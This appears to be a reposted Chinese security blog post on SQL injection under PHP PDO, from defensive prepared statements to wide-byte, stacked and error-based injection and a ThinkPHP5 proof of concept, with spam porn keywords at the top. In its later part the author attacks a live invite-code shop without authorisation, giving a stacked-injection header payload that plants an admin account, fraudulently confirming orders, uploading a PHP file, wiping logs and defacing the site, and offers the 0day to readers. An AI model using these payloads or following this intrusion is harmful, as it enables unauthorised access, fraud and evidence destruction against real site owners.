乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      從PDO下的注入思路到獲得GIT 2000star項目0day(文末0day福利)

       cn1188181 2021-07-14

      bypass部分      




      溫馨提示




            本文章僅供學(xué)習(xí)交流使用,文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔(dān)!

      0x01 PDO簡介

      PDO全名PHP Data Object

      PDO擴展為PHP訪問數(shù)據(jù)庫定義了一個輕量級的一致接口。PDO提供了一個數(shù)據(jù)訪問抽象層,這意味著,不管使用哪種數(shù)據(jù)庫,都可以使用相同的函數(shù)(方法)來查詢和獲取數(shù)據(jù)。

      PHP連接MySQL數(shù)據(jù)庫有三種方式(MySQL、Mysqli、PDO),列表性比較如下:


      MysqliPDOMySQL
      引入的PHP版本5.05.03.0之前
      PHP5.x是否包含
      服務(wù)端prepare語句的支持情況
      客戶端prepare語句的支持情況
      存儲過程支持情況
      多語句執(zhí)行支持情況大多數(shù)

      如需在php中使用pdo擴展,需要在php.ini文件中進(jìn)行配置

      圖片

      0x02 PDO防范SQL注入

      ①調(diào)用方法轉(zhuǎn)義特殊字符

      quote()方法(這種方法的原理跟addslashes差不多,都是轉(zhuǎn)義)

      PDO類庫的quate()方法會將輸入字符串(如果需要)周圍加上引號,并在輸入字符串內(nèi)轉(zhuǎn)義特殊字符。

      EG①:

      <?php$conn = new PDO('sqlite:/home/lynn/music.sql3');
      /* Dangerous string */$string = 'Naughty ' string';print 'Unquoted string: $stringn';print 'Quoted string:' . $conn->quote($string) . 'n';?>

      輸出

      Unquoted string: Naughty ' stringQuoted string: 'Naughty '' string'

      EG②

      test.sql

      SET NAMES utf8mb4;SET FOREIGN_KEY_CHECKS = 0;
      -- ------------------------------ Table structure for user-- ----------------------------DROP TABLE IF EXISTS `user`;CREATE TABLE `user` ( `id` int(10) NOT NULL, `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL, `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
      -- ------------------------------ Records of user-- ----------------------------INSERT INTO `user` VALUES (0, 'admin', 'admin');INSERT INTO `user` VALUES (1, 'user', 'user');
      SET FOREIGN_KEY_CHECKS = 1;

      pdo.php

      <?phpheader('content-type=text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');     $username=$pdo->quote($username);     $password=$pdo->quote($password);    $sql='select * from user where username={$username} and password={$password}';    echo $sql.'</br>';    $row=$pdo->query($sql);    foreach ($row as $key => $value) {        print_r($value);    }
      }catch(POOException $e){ echo $e->getMessage();}

      訪問http://localhost/pdo.php?username=admin&password=admin

      圖片

      當(dāng)我們使用單引號探測注入時

      圖片

      如圖,單引號已被反斜線轉(zhuǎn)義

      預(yù)編譯語句

      1、占位符-通過命名參數(shù)防止注入

      通過命名參數(shù)防止注入的方法會使得程序在執(zhí)行SQL語句時,將會把參數(shù)值當(dāng)成一個字符串整體來進(jìn)行處理,即使參數(shù)值中包含單引號,也會把單引號當(dāng)成單引號字符,而不是字符串的起止符。這樣就在某種程度上消除了SQL注入攻擊的條件。

      將原來的SQL查詢語句改為

      Select * from where name=:username and password=:password

      prepare方法進(jìn)行SQL語句預(yù)編譯

      最后通過調(diào)用rowCount()方法,查看返回受sql語句影響的行數(shù)

      返回0語句執(zhí)行失敗,大于等于1,則表示語句執(zhí)行成功。

      All code

      <?phpheader('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where name=:username and password=:password';    $stmt=$pdo->prepare($sql);    $stmt->execute(array(':username'=>$username,':password'=>$password));    echo $stmt->rowCount();}catch(PDOException $e){    echo $e->getMessage();}?>

      查詢成功

      圖片

      注入失敗

      圖片

      2、占位符-通過問號占位符防止注入

      把SQL語句再進(jìn)行修改

      select * from user where name=? and password=?

      同上,prepare方法進(jìn)行SQL語句預(yù)編譯

      最后調(diào)用rowCount()方法,查看返回受sql語句影響的行數(shù)

      <?header('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where username=? and password=?';    $stmt=$pdo->prepare($sql);    $stmt->execute(array($username,$password));    echo $stmt->rowCount();
      }catch(PDOException $e){ echo $e->getMessage();}?>

      效果同上

      查詢成功

      圖片

      注入失敗

      圖片

      3.通過bindParam()方法綁定參數(shù)防御SQL注入

      修改語句部分

      $sql='select * from user where name=:username and password=:password'; $stmt=$pdo->prepare($sql); $stmt->bindParam(':username',$username,PDO::PARAM_STR); $stmt->bindParam(':password',$password,PDO::PARAM_STR);

      解釋: 

      a)::username 和 :password為命名參數(shù) 

      b):$username;$password為獲取的變量,即用戶名和密碼。

      c):PDO::PARAM_STR,表示參數(shù)變量的值一定要為字符串,即綁定參數(shù)類型為字符串。在bindparam()方法中,默認(rèn)綁定的參數(shù)類型就是字符串。

      當(dāng)你要接受int型數(shù)據(jù)的時候可以綁定參數(shù)為PDO::PARAM_INT.

      <?phpheader('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GETT['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where name=:username and password=:password';    $stmt=$pdo->prepare($sql);    $stmt->bindParam(':username',$username,PDO::PARAM_STR);    $stmt->bindParam(':password',$password,PDO::PARAM_STR);    $stmt->execute();    echo $stmt->rowCount();
      }catch(PDOException $e){ echo $e->getMessage();}?>

      查詢成功

      圖片

      注入失敗

      圖片

      這只是總結(jié)了一部分PDO防范SQL注入的方法,仍有方法請見下文

      其他手法還有很多,大家感興趣的話可以自行研究

      0x03 PDO下的注入手法與思考

      讀完前文后,讀者們可能不由感嘆,真狠啊,什么都tmd轉(zhuǎn)義,什么語句都預(yù)編譯了,這我tmd注入個毛...

      圖片


      北宋宰相王安石有言“看似尋常最奇崛,成如容易卻艱辛”

      讓我們抽絲剝繭來探尋PDO下的注入手法

      目前在PDO下,比較通用的手法主要有如下兩種

      ①寬字節(jié)注入

      注入的原理就不講了,相信大家都知道

      一張圖,清晰明了

      圖片

      當(dāng)Mysql數(shù)據(jù)庫my.ini文件中設(shè)置編碼為gbk時,

      我們的PHP程序哪怕使用了addslashes(),PDO::quote,mysql_real_escape_string()、mysql_escape_string()等函數(shù)、方法,或配置了magic_quotes_gpc=on,依然可以通過構(gòu)造%df'的方法繞過轉(zhuǎn)義

      ②堆疊注入與報錯注入

      PDO分為模擬預(yù)處理非模擬預(yù)處理

      模擬預(yù)處理是防止某些數(shù)據(jù)庫不支持預(yù)處理而設(shè)置的,也是眾多注入的元兇

      在初始化PDO驅(qū)動時,可以設(shè)置一項參數(shù),PDO::ATTR_EMULATE_PREPARES,作用是打開模擬預(yù)處理(true)或者關(guān)閉(false),默認(rèn)為true。

      PDO內(nèi)部會模擬參數(shù)綁定的過程,SQL語句是在最后execute()的時候才發(fā)送給數(shù)據(jù)庫執(zhí)行。

      非模擬預(yù)處理則是通過數(shù)據(jù)庫服務(wù)器來進(jìn)行預(yù)處理動作,主要分為兩步:

      第一步是prepare階段,發(fā)送SQL語句模板到數(shù)據(jù)庫服務(wù)器;

      第二步通過execute()函數(shù)發(fā)送占位符參數(shù)給數(shù)據(jù)庫服務(wù)器執(zhí)行。

      PDO產(chǎn)生安全問題的主要設(shè)置如下:

      PDO::ATTR_EMULATE_PREPARES //模擬預(yù)處理(默認(rèn)開啟

      PDO::ATTR_ERRMODE //報錯

      PDO::MYSQL_ATTR_MULTI_STATEMENTS //允許多句執(zhí)行(默認(rèn)開啟)

      PDO默認(rèn)是允許多句執(zhí)行和模擬預(yù)編譯的,在用戶輸入?yún)?shù)可控的情況下,會導(dǎo)致堆疊注入。

      2.1 沒有過濾的堆疊注入情況

      <?phpheader('content-type=text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{ $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); $sql='select * from user where username='{$username}' and password='{$password}''; echo $sql.'</br>'; $row=$pdo->query($sql); foreach ($row as $key => $value) { print_r($value); }
      }catch(POOException $e){ echo $e->getMessage();}

      因為在$pdo>query()執(zhí)行之前,我們便可以對$sql進(jìn)行非法操作,那PDO相當(dāng)于沒用

      圖片

      圖片

      如果想禁止多語句執(zhí)行,可在創(chuàng)建PDO實例時將PDO::MYSQL_ATTR_MULTI_STATEMENTS設(shè)置為false

      new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

      但是哪怕禁止了多語句執(zhí)行,也只是防范了堆疊注入而已,直接union即可

      圖片

      2.2 模擬預(yù)處理的情況

      <?phptry { $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); //$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $username = $_GET['username']; $sql = 'select id,'.$_GET['role'].' from user where username = ?'; $stmt = $pdo->prepare($sql); $stmt->bindParam(1,$username); $stmt->execute(); while($row=$stmt->fetch(PDO::FETCH_ASSOC)) { var_dump($row); echo '<br>'; }} catch (PDOException $e) { echo $e;}

      $role是可控的,導(dǎo)致可實現(xiàn)堆疊注入和inline query

      圖片

      圖片

      2.3當(dāng)設(shè)置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION開啟報錯時

      設(shè)置方法

      $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

      無論是否開啟PDO::ATTR_EMULATE_PREPARES-模擬預(yù)處理

      此時SQL語句如果產(chǎn)生報錯,PDO則會將報錯拋出

      除設(shè)置錯誤碼之外,PDO 還將拋出一個 PDOException 異常類并設(shè)置它的屬性來反射錯誤碼和錯誤信息。

      此設(shè)置在調(diào)試期間也非常有用,因為它會有效地放大腳本中產(chǎn)生錯誤的點,從而可以非??焖俚刂赋龃a中有問題的潛在區(qū)域

      在這種情況下可以實現(xiàn)error-based SQL Injection

      使用GTID_SUBSET函數(shù)進(jìn)行報錯注入

      http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin

      圖片

      2.4 非模擬預(yù)處理的情況

      <?phptry {    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);    $username = $_GET['username'];    $sql = 'select id,'.$_GET['role'].' from user where username = ?';    $stmt = $pdo->prepare($sql);    $stmt->bindParam(1,$username);    $stmt->execute();    while($row=$stmt->fetch(PDO::FETCH_ASSOC))    {        var_dump($row);        echo '<br>';    }} catch (PDOException $e) {    echo $e;}

      此時堆疊注入已經(jīng)歇逼

      圖片

      但inline query,報錯注入依然堅挺可用

      圖片

      ③一個安全的case

      只要語句內(nèi)存在有用戶非純字符可控部分,便不夠安全;那我們就用非模擬預(yù)處理sql寫法

      $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

      它會告訴 PDO 禁用模擬預(yù)處理語句,并使用 real parepared statements 。

      這可以確保SQL語句和相應(yīng)的值在傳遞到mysql服務(wù)器之前是不會被PHP解析的(禁止了所有可能的惡意SQL注入攻擊)。

      如下為一個安全使用PDO的case

      $pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');$stmt->execute(array('id' => $id));print_r($stmt -> fetchAll ());exit();

      當(dāng)調(diào)用 prepare() 時,查詢語句已經(jīng)發(fā)送給了數(shù)據(jù)庫服務(wù)器,此時只有占位符

      發(fā)送過去,沒有用戶提交的數(shù)據(jù);當(dāng)調(diào)用到 execute()時,用戶提交過來的值才會傳送給數(shù)據(jù)庫,它們是分開傳送的,兩者獨立的,SQL注入攻擊者沒有一點機會

      0x04 案例剖析-ThinkPHP5中PDO導(dǎo)致的一個雞肋注入(來自Phithon師傅)

      我們來看Phithon師傅幾年前博客發(fā)的一個case

      https://www./PENETRATION/thinkphp5-in-sqlinjection.html

      <?phpnamespace app\index\controller;
      use app\index\model\User;
      class Index{ public function index(){ $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select(); }}

      如上述代碼,如果我們控制了in語句的值位置,即可通過傳入一個數(shù)組,來造成SQL注入漏洞。

      文中已有分析,我就不多說了,但說一下為什么這是一個SQL注入漏洞。IN操作代碼如下:

      <?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {    // 處理帶非單詞字符的字段名    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {    // IN 查詢    if ($value instanceof \Closure) {        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);    } else {        $value = is_array($value) ? $value : explode(',', $value);        if (array_key_exists($field, $binds)) {            $bind  = [];            $array = [];            foreach ($value as $k => $v) {                if ($this->query->isBind($bindName . '_in_' . $k)) {                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;                } else {                    $bindKey = $bindName . '_in_' . $k;                }                $bind[$bindKey] = [$v, $bindType];                $array[]        = ':' . $bindKey;            }            $this->query->bind($bind);            $zone = implode(',', $array);        } else {            $zone = implode(',', $this->parseValue($value, $field));        }        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? '''' : $zone) . ')';    }

      可見,$bindName在前邊進(jìn)行了一次檢測,正常來說是不會出現(xiàn)漏洞的。但如果$value是一個數(shù)組的情況下,這里會遍歷$value,并將$k拼接進(jìn)$bindName。

      也就是說,我們控制了預(yù)編譯SQL語句中的鍵名,也就說我們控制了預(yù)編譯的SQL語句,這理論上是一個SQL注入漏洞。那么,為什么原文中說測試SQL注入失敗呢?

      這就是涉及到預(yù)編譯的執(zhí)行過程了。通常,PDO預(yù)編譯執(zhí)行過程分三步:

      1.prepare($SQL) 編譯SQL語句2.bindValue($param, $value) 將value綁定到param的位置上3.execute() 執(zhí)行

      這個漏洞實際上就是控制了第二步的$param變量,這個變量如果是一個SQL語句的話,那么在第二步的時候是會拋出錯誤的:

      圖片

      所以,這個錯誤“似乎”導(dǎo)致整個過程執(zhí)行不到第三步,也就沒法進(jìn)行注入了。

      但實際上,在預(yù)編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下代碼:

      <?php$params = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES => false,];
      $db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
      try { $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');} catch (\PDOException $e) { var_dump($e);}

      執(zhí)行發(fā)現(xiàn),雖然我只調(diào)用了prepare函數(shù),但原SQL語句中的報錯已經(jīng)成功執(zhí)行:

      圖片

      究其原因,是因為我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。

      這個選項涉及到PDO的“預(yù)處理”機制:因為不是所有數(shù)據(jù)庫驅(qū)動都支持SQL預(yù)編譯,所以PDO存在“模擬預(yù)處理機制”。如果說開啟了模擬預(yù)處理,那么PDO內(nèi)部會模擬參數(shù)綁定的過程,SQL語句是在最后execute()的時候才發(fā)送給數(shù)據(jù)庫執(zhí)行;如果我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會模擬預(yù)處理,參數(shù)化綁定的整個過程都是和Mysql交互進(jìn)行的。

      非模擬預(yù)處理的情況下,參數(shù)化綁定過程分兩步:第一步是prepare階段,發(fā)送帶有占位符的sql語句到mysql服務(wù)器(parsing->resolution),第二步是多次發(fā)送占位符參數(shù)給mysql服務(wù)器進(jìn)行執(zhí)行(多次執(zhí)行optimization->execution)。

      這時,假設(shè)在第一步執(zhí)行prepare($SQL)的時候我的SQL語句就出現(xiàn)錯誤了,那么就會直接由mysql那邊拋出異常,不會再執(zhí)行第二步。我們看看ThinkPHP5的默認(rèn)配置:

      ...// PDO連接參數(shù)protected $params = [    PDO::ATTR_CASE              => PDO::CASE_NATURAL,    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,    PDO::ATTR_STRINGIFY_FETCHES => false,    PDO::ATTR_EMULATE_PREPARES  => false,];...

      可見,這里的確設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構(gòu)造如下POC,即可利用報錯注入,獲取user()信息:

      http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

      圖片

      但是,如果你將user()改成一個子查詢語句,那么結(jié)果又會爆出Invalid parameter number: parameter was not defined的錯誤。

      因為沒有過多研究,說一下我猜測:預(yù)編譯的確是mysql服務(wù)端進(jìn)行的,但是預(yù)編譯的過程是不接觸數(shù)據(jù)的 ,也就是說不會從表中將真實數(shù)據(jù)取出來,所以使用子查詢的情況下不會觸發(fā)報錯;雖然預(yù)編譯的過程不接觸數(shù)據(jù),但類似user()這樣的數(shù)據(jù)庫函數(shù)的值還是將會編譯進(jìn)SQL語句,所以這里執(zhí)行并爆了出來。

      0x05 實戰(zhàn)案例-從cl社區(qū)激活碼到Git 2000+ Star項目0day

      5.1 起因

      挖SRC,做項目做的心生煩悶,前幾日忍不住在家看1024(cl)社區(qū),越看越來勁,邪火攻心,想搜片看

      奈何cl社區(qū)一向奉行邀請制,邀請碼又很難搞到,可謂讓人十分不爽

      于是本人去google上找了一個賣1024社區(qū)邀請碼的站

      圖片

      88塊錢....雖然不算貴,但售賣這種東西本來就是不受法律保護(hù)的。作為一個JB小子,怎么可能不動點白嫖心思?

      在黑盒測試了一段時間后,發(fā)現(xiàn)支付邏輯和前臺都沒什么安全問題。。難道我真的要花錢買這激活碼????

      不可能,絕對不可能。

      看到網(wǎng)站底部有一個Powered by xxx,呵呵呵,好家伙,不出意外這應(yīng)該就是這個站用的CMS系統(tǒng)了

      圖片

      去Git上一搜,還真有,2000多個Star,作者維護(hù)了好幾年,也算是個成熟的項目了。

      直接把最新版源碼下載下來,丟進(jìn)PHPstorm里開始審計

      5.2 從審計思路到PDO導(dǎo)致的前臺XFF堆疊注入

      就我個人而言,拿到一套源碼,我更喜歡黑白盒相結(jié)合;根據(jù)前臺能訪問到的功能點來確定自己審計的目標(biāo)

      簡單看了一下整套系統(tǒng)是MVC架構(gòu)的,使用了PDO,使用有部分過濾規(guī)則;后臺默認(rèn)路徑是/admin

      看了一遍前臺的功能點,發(fā)現(xiàn)在查詢訂單處路徑名很有趣,帶有一個/query,直接搜一下頁面上關(guān)鍵詞,跟進(jìn)入到源碼中

      圖片

      發(fā)現(xiàn)了如下的一段code

      圖片

      PDO均為默認(rèn)配置,立馬想到了堆疊注入

      經(jīng)測試orderid用戶可控,全局搜索orderid發(fā)現(xiàn),orderid經(jīng)函數(shù)方法后被處理為純字符串,沒有注入余地,故選擇另辟蹊徑

      后發(fā)現(xiàn)ip參數(shù)用戶同樣可控,在調(diào)用select方法前沒做任何處理。

      ip參數(shù)調(diào)用的是getClientIP方法,我們跟一下getClientIP方法

      圖片

      很好理解,就是從常見的http header中獲取客戶端IP

      但是非常高興,ip參數(shù)未做任何處理,我們可以通過構(gòu)造XFF頭來實現(xiàn)堆疊注入

      因為有csrf_token的校驗,我們必須在查詢訂單的頁面,隨便輸入個訂單號,隨后輸入正確的驗證碼,隨后查詢才有效

      隨后手動構(gòu)造XFF頭,進(jìn)行針對PDO的堆疊注入

      因為PDO處為雙引號進(jìn)行語句閉合,且屬于無回顯的堆疊注入

      故構(gòu)造Payload為

      X-FORWARDED-For:1';select sleep(5)#

      圖片

      延遲了5s,注入成功。

      針對這種沒回顯的堆疊注入,盲注太慢,用Dnslog OOB又太慢,所以選擇構(gòu)造一個添加后臺管理員的insert payload

      X-FORWARDED-For:1“;insert into t_admin_user values(99,'test@test.test','76b1807fc1c914f15588520b0833fbc3','78e055',0);

      但是現(xiàn)實是很殘酷的,測試發(fā)現(xiàn),在XFF頭中,1'將語句閉合后只要出現(xiàn)了引號或者逗號,就會引發(fā)報錯,SQL語句無法執(zhí)行

      但是具有一定審計經(jīng)驗的兄弟一定會想到,PDO下Prepare Statement給我們提供了繞過過濾進(jìn)行注入的沃土

      山重水復(fù)疑無路,柳暗花明又一村

      5.3 Prepare Statement構(gòu)造注入語句

      知識補充 --- Prepare Statement寫法

      MySQL官方將prepare、execute、deallocate統(tǒng)稱為PREPARE STATEMENT(預(yù)處理)

      預(yù)制語句的SQL語法基于三個SQL語句:

      prepare stmt_name from preparable_stmt;execute stmt_name [using @var_name [, @var_name] ...];{deallocate | drop} prepare stmt_name;

      給出MYSQL中兩個簡單的demo

      set@a='select user()';PREPARE a FROM @a;execute a;select sleep(3);#set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#  //73656C65637420757365722829為select user() 16進(jìn)制編碼后的字符串,前面再加上0x聲明這是一個16進(jìn)制字符串

      Prepare語句在防范SQL注入方面起到了非常大的作用,但是對于SQL注入攻擊卻也提供了新的手段。

      Prepare語句最大的特點就是它可以將16進(jìn)制串轉(zhuǎn)為語句字符串并執(zhí)行。如果我們發(fā)現(xiàn)了一個存在堆疊注入的場景,但過濾非常嚴(yán)格,便可以使用prepare語句進(jìn)行繞過。

      將我們的insert語句直接hex編碼

      圖片

      構(gòu)造注入語句

      X-FORWARDED-For:1';set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#//sleep用于判斷注入是否成功

      圖片

      延時3s,注入成功,成功添加了一個賬號為test@test.test[4],密碼為123456的后臺管理員

      直接默認(rèn)后臺路徑/admin登錄后臺

      圖片

      前臺提交一個cl社區(qū)邀請碼的訂單

      后臺修改訂單狀態(tài)為確認(rèn)付款

      圖片

      沒過一會,邀請碼直接到郵箱

      圖片

      以后可以搜片看了

      圖片

      圖片

      5.4 不講武德被發(fā)現(xiàn)

      在不講武德,連續(xù)薅了幾個邀請碼,發(fā)給朋友后

      站長終于發(fā)現(xiàn)了

      圖片

      八嘎,既然發(fā)現(xiàn)了,那就干脆把你的站日下來吧,然后好好擦擦屁股,免得0day被這站長抓走

      圖片

      5.5 后臺Getshell審計(Thanks 17@M78sec)

      經(jīng)測試后臺的文件上傳處鑒權(quán)比較嚴(yán)格,沒法直接前臺getshell

      但是后臺文件上傳處,沒有對文件擴展名進(jìn)行任何過濾,只有一處前端js校驗,所以后臺getshell直接白給

      圖片

      文件上傳后不會返回上傳路徑,但上傳路徑和上傳文件的命名規(guī)則我們已經(jīng)了如指掌

      圖片


      UPLOAD_PATH定義如下

      define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');

      CUR_DATE定義如下

      define('CUR_DATE', date('Y-m-d'));

      文件名

      $filename=date('His');  //小時+分鐘+秒

      以我現(xiàn)在21點05分鐘為例,輸出結(jié)果如下

      圖片

      以2021年5月26日的21點05分44秒為例

      完整的文件路徑即為

      http://www./res/upload/2021-05-26/210444.php

      直接構(gòu)造表單

      <meta charset='utf-8'><form action='http:///Admin/products/imgurlajax' method='post' enctype='multipart/form-data'>    <label for='file'>File:</label>    <input type='file' name='file' id='file' />    <input type='text' name='pid' id='pid' />  <--! pid記得自行修改為商品的id(后臺選擇商品抓包即可獲取)--></--!>    <input type='submit' value='Upload' /></form>

      同時需要添加Referer: http:///Admin/products/imgurl/?id=1,并修改下方的pid

      否則會提示“請選擇商品id”

      最后完整的上傳http request如下

      POST http:///Admin/products/imgurlajax HTTP/1.1Host: xxxxContent-Length: 291Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0ebOrigin: http://47.105.132.207Referer: http:///Admin/products/imgurl/?id=12Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaqConnection: close
      ------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='file'; filename='test.php'Content-Type: image/png
      <?php phpinfo();------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='pid'
      12------WebKitFormBoundaryeSrhtSPGxub0H0eb--

      直接上傳成功

      隨后通過burpsuite Intruder來跑一下最后的秒數(shù)

      畢竟秒數(shù)不能拿捏的那么精準(zhǔn)

      圖片

      圖片

      直接拿捏。

      把web日志清理掉

      然后給public index頁面加點樂子

      圖片

      傳統(tǒng)功夫,點到為止。

      圖片

      0x06 總結(jié)

      本文主要介紹了通過PDO防范SQL注入的方法和PDO中的注入利用思路,并給大家?guī)砹艘粋€0day實例

      你會發(fā)現(xiàn)層層抽絲剝繭研究一個模塊,并將其中的姿勢應(yīng)用于實戰(zhàn)中,是一件很美妙的事情。

      由于政策問題就不發(fā)是什么系統(tǒng)了,相信師傅們是很容易定位到出現(xiàn)本0day的系統(tǒng)的,這個0day就算白送各位師傅的了,希望師傅們也早日成為1024社區(qū)會員

      圖片

      0x07 Refence:

      https://www./PENETRATION/thinkphp5-in-sqlinjection.html

      https://blog.51cto.com/u_12332766/2137035

      https://xz.aliyun.com/t/3950

        本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評論

        發(fā)表

        請遵守用戶 評論公約

        類似文章 更多